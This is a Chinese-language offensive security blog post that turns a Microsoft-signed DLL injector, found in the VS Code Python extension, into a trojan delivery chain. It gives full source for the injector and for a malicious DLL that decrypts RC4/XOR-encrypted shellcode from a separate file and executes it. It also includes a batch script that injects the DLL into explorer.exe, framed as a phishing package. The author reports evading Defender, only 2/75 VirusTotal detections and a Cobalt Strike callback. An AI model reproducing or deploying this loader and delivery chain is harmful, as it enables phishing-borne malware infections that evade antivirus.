DLL 注入式木马

认识

DLL注入即通过注入器向正在运行中的程序注入新的DLL,使其自动调用该DLL从而触发DLL中的功能。DLL被加载到进程后会自动运行DllMain()函数,用户可以把想执行的代码放到DllMain()函数,每当加载DLL时,添加的代码就会自然而然得到执行。利用该特性可修复程序Bug,或向程序添加新功能。正常常见于调试、功能拓展、自动化等;但若注入恶意的DLL则可导致程序执行攻击者的恶意代码。

本篇文章源自于倾旋大佬对vscode python调试拓展包内含有的两个dll注入器 inject_dll_x86.exeinject_dll_amd64.exe的研究。在该拓展中,还自带了该注入器的源代码。该dll注入器已经带有微软三方组件的签名,通过对该dll注入器的研究,可以实现对应用的免签dll注入。

其实该dll注入器在各种python拓展包中也自带有,比如我的pycharm

加载失败!

打开路径,在同路径的windows文件夹里可找到源代码inject_dll.cpp

源代码

inject_dll.cpp

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
#include <iostream>
#include <windows.h>
#include <stdio.h>
#include <conio.h>
#include <tchar.h>
#include <tlhelp32.h>

#pragma comment(lib, "kernel32.lib")
#pragma comment(lib, "user32.lib")

// Helper to free data when we leave the scope.
class DataToFree {
public:
    HANDLE hProcess;
    HANDLE snapshotHandle;
    
    LPVOID remoteMemoryAddr;
    int remoteMemorySize;
    
    DataToFree(){
        this->hProcess = nullptr;
        this->snapshotHandle = nullptr;
        
        this->remoteMemoryAddr = nullptr;
        this->remoteMemorySize = 0;
    }
    
    ~DataToFree() {
        if(this->hProcess != nullptr){
            
            if(this->remoteMemoryAddr != nullptr && this->remoteMemorySize != 0){
                VirtualFreeEx(this->hProcess, this->remoteMemoryAddr, this->remoteMemorySize, MEM_RELEASE);
                this->remoteMemoryAddr = nullptr;
                this->remoteMemorySize = 0;
            }
            
            CloseHandle(this->hProcess);
            this->hProcess = nullptr;
        }

        if(this->snapshotHandle != nullptr){
            CloseHandle(this->snapshotHandle);
            this->snapshotHandle = nullptr;
        }
    }
};


/**
 * All we do here is load a dll in a remote program (in a remote thread).
 *
 * Arguments must be the pid and the dll name to run.
 *
 * i.e.: inject_dll.exe <pid> <dll path>
 */
int wmain( int argc, wchar_t *argv[ ], wchar_t *envp[ ] )
{
    std::cout << "Running executable to inject dll." << std::endl;
    
    // Helper to clear resources.
    DataToFree dataToFree;
    
    if(argc != 3){
        std::cout << "Expected 2 arguments (pid, dll name)." << std::endl;
        return 1;
    }
 
    const int pid = _wtoi(argv[1]);
    if(pid == 0){
        std::cout << "Invalid pid." << std::endl;
        return 2;
    }
    
    const int MAX_PATH_SIZE_PADDED = MAX_PATH + 1;
    char dllPath[MAX_PATH_SIZE_PADDED];
    memset(&dllPath[0], '\0', MAX_PATH_SIZE_PADDED);
    size_t pathLen = 0;
    wcstombs_s(&pathLen, dllPath, argv[2], MAX_PATH);
    
    const bool inheritable = false;
    const HANDLE hProcess = OpenProcess(PROCESS_VM_OPERATION | PROCESS_CREATE_THREAD | PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_QUERY_INFORMATION, inheritable, pid);
    if(hProcess == nullptr || hProcess == INVALID_HANDLE_VALUE){
        std::cout << "Unable to open process with pid: " << pid << ". Error code: " << GetLastError() << "." << std::endl;
        return 3;
    }
    dataToFree.hProcess = hProcess;
    std::cout << "OpenProcess with pid: " << pid << std::endl;
    
    const LPVOID remoteMemoryAddr = VirtualAllocEx(hProcess, nullptr, MAX_PATH_SIZE_PADDED, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if(remoteMemoryAddr == nullptr){
        std::cout << "Error. Unable to allocate memory in pid: " << pid << ". Error code: " << GetLastError() << "." << std::endl;
        return 4;
    }
    dataToFree.remoteMemorySize = MAX_PATH_SIZE_PADDED;
    dataToFree.remoteMemoryAddr = remoteMemoryAddr;
    
    std::cout << "VirtualAllocEx in pid: " << pid << std::endl;
    
    const bool written = WriteProcessMemory(hProcess, remoteMemoryAddr, dllPath, pathLen, nullptr);
    if(!written){
        std::cout << "Error. Unable to write to memory in pid: " << pid << ". Error code: " << GetLastError() << "." << std::endl;
        return 5;
    }
    std::cout << "WriteProcessMemory in pid: " << pid << std::endl;
    
    const LPVOID loadLibraryAddress = (LPVOID) GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
    if(loadLibraryAddress == nullptr){
        std::cout << "Error. Unable to get LoadLibraryA address. Error code: " << GetLastError() << "." << std::endl;
        return 6;
    }
    std::cout << "loadLibraryAddress: " << pid << std::endl;
    
    const HANDLE remoteThread = CreateRemoteThread(hProcess, nullptr, 0, (LPTHREAD_START_ROUTINE) loadLibraryAddress, remoteMemoryAddr, 0, nullptr);
    if (remoteThread == nullptr) {
        std::cout << "Error. Unable to CreateRemoteThread. Error code: " << GetLastError() << "." << std::endl;
        return 7;
    }
    
    // We wait for the load to finish before proceeding to get the function to actually do the attach.
    std::cout << "Waiting for LoadLibraryA to complete." << std::endl;
    DWORD result = WaitForSingleObject(remoteThread, 5 * 1000);
    
    if(result == WAIT_TIMEOUT) {
        std::cout << "WaitForSingleObject(LoadLibraryA thread) timed out." << std::endl;
        return 8;
        
    } else if(result == WAIT_FAILED) {
        std::cout << "WaitForSingleObject(LoadLibraryA thread) failed. Error code: " << GetLastError() << "." << std::endl;
        return 9;
    }
    
    std::cout << "Ok, finished dll injection." << std::endl;
    return 0;
}

代码实现逻辑

主函数wmain接收两个参数 pid 与 dll name ,即注入应用的pid与注入的dll的路径

运行后,代码将使用OpenProcess打开目标进程,为其分配(VirtualAllocEx)并写入dll路径(WriteProcessMemory)远程内存;然后使用kernel32.dll的LoadLibraryA函数远程加载dll;最后利用CreateRemoteThread创建远程线程,入口即为LoadLibraryA,以加载指定dll,然后等待其运行即可,直至其线程完成,通过WaitForSingleObject等待其结果。其中DataToTree类的析构函数会在程序结束或错误时自动释放所有资源,包括关闭句柄和释放内存。

注入器使用方式

该注入器使用只需两个参数:

  • pid : 目标进程的进程ID
  • dll name: 想要注入目标进程的DLL绝对路径

滥用思路

  1. 钓鱼的时候可以发送一个BAT批处理脚本、dll注入器、dll木马
  2. BAT批处理:获取x64进程的pid
  3. BAT批处理:获取dll木马绝对路径
  4. BAT批处理:执行dll注入器,将dll木马注入到目标进程中

构造如图所示的压缩包,解压后得到钓鱼木马文件: 加载失败

编写dll木马

为了使恶意dll注入进了目标进程后能自动被调用,则将恶意代码写入dllmain中。

思路是在入口点执行函数,申请一个新线程,然后启动木马函数,进行shellcode的解密与加载,然后有序关闭句柄并清理资源。

dllmain.cpp

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
#include "pch.h"
#include <windows.h>
#include <iostream>
#include <fstream>
#include <cstring>

// 静态变量和句柄
static HANDLE hThread = NULL;
static HANDLE hFile = INVALID_HANDLE_VALUE;
const char* SHELLCODE_FILE = "p64e.bin";
const char* RC4_KEY = "iC4n7'tHelpmYSe1f14ugh1n9";
const char* XOR_KEY = "411oFusd0n'tKn0wWh4t'sG01n90n!";

// RC4解密
char* spellRC4(char* spell, int spellLength) {
    unsigned char S[256];
    int i, j, x, y, t;
    char* ciphertext = new char[spellLength];

    for (i = 0; i < 256; i++) {
        S[i] = i;
    }
    j = 0;
    for (i = 0; i < 256; i++) {
        j = (j + S[i] + RC4_KEY[i % strlen(RC4_KEY)]) % 256;
        std::swap(S[i], S[j]);
    }

    x = 0;
    y = 0;
    for (int k = 0; k < spellLength; k++) {
        x = (x + 1) % 256;
        y = (y + S[x]) % 256;
        std::swap(S[x], S[y]);
        t = (S[x] + S[y]) % 256;
        ciphertext[k] = spell[k] ^ S[t];
    }

    return ciphertext;
}

// XOR解密
char* spellXOR(char* spell, int spellLength) {
    int keyLength = strlen(XOR_KEY);
    for (int i = 0; i < spellLength; ++i) {
        spell[i] = spell[i] ^ XOR_KEY[i % keyLength];
    }
    return spell;
}

// 解密和执行函数
void cast_spell_3(char* spell, int spellSize) {
    DWORD dwOldProtect;
    HANDLE HeapHandle = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, spellSize, 0);
    char* buf = (char*)HeapAlloc(HeapHandle, HEAP_ZERO_MEMORY, spellSize); //堆调用
    memcpy(buf, spell, spellSize);

    VirtualProtect(buf, spellSize, PAGE_EXECUTE, &dwOldProtect);
    HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)buf, NULL, 0, NULL);
    WaitForSingleObject(hThread, INFINITE);
}

// DLL导出函数,读取、解密和执行shellcode
extern "C" __declspec(dllexport) void RunShellcode() {
    std::ifstream spellfile(SHELLCODE_FILE, std::ios::in | std::ios::binary);

    spellfile.seekg(0, std::ios::end);
    int length = spellfile.tellg();
    spellfile.seekg(0, std::ios::beg);

    char* spelldata = new char[length];
    spellfile.read(spelldata, length);
    spellfile.close();

    spelldata = spellRC4(spelldata, length);
    spelldata = spellXOR(spelldata, length);
    cast_spell_3(spelldata, length);

    delete[] spelldata;
}

// 线程函数
DWORD WINAPI ThreadProc(LPVOID lpParameter) {
    RunShellcode();
    return 0;
}

// 清理资源函数
void CleanupResources() {
    if (hFile != INVALID_HANDLE_VALUE) {
        CloseHandle(hFile);
        hFile = INVALID_HANDLE_VALUE;
    }
}

// DLL入口点
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
    switch (ul_reason_for_call) {
    case DLL_PROCESS_ATTACH:
        hThread = CreateThread(NULL, 0, ThreadProc, NULL, 0, NULL);
        if (hThread == NULL) {
            std::cerr << "Error creating thread: " << GetLastError() << std::endl;
            return FALSE;
        }
        break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
        break;
    case DLL_PROCESS_DETACH:
        if (hThread != NULL) {
            WaitForSingleObject(hThread, INFINITE);
            CloseHandle(hThread);
            hThread = NULL;
        }
        CleanupResources();
        break;
    }
    return TRUE;
}

静态免杀思路就是shellcode分离与加密,所以需要同步配置一个p64e.bin文件

bat脚本实现注入

链接生成dll后,使用bat脚本进行注入。注入基本思路是

  1. 获取x64进程的pid
  2. 获取dll木马绝对路径
  3. 执行dll注入器,将dll木马注入到目标进程中

runme.bat

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
@echo off
setlocal
set "target_process_name=explorer.exe"
set "dll_name=Loader.dll"
set "injecter=inject_dll_amd64.exe"

for /f "tokens=2" %%i in ('tasklist ^| findstr /i "%target_process_name%"') do set "pid=%%i"
set "command=%CD%\%injecter% %pid% %CD%\%dll_name%"
:: 处理引号 执行
"%CD%\%injecter%" %pid% "%CD%\%dll_name%"

测试结果

dll VT检测结果 2/75

加载失败

注入notepad.exe,绕过 df 上线 cs 弹出计算器

加载失败

也能注入explorer.exe,但是需要注意的是注入一次过后,需要重启才能注入第二次。

credicts

https://payloads.online/archivers/2023-09-08/vscode-dll/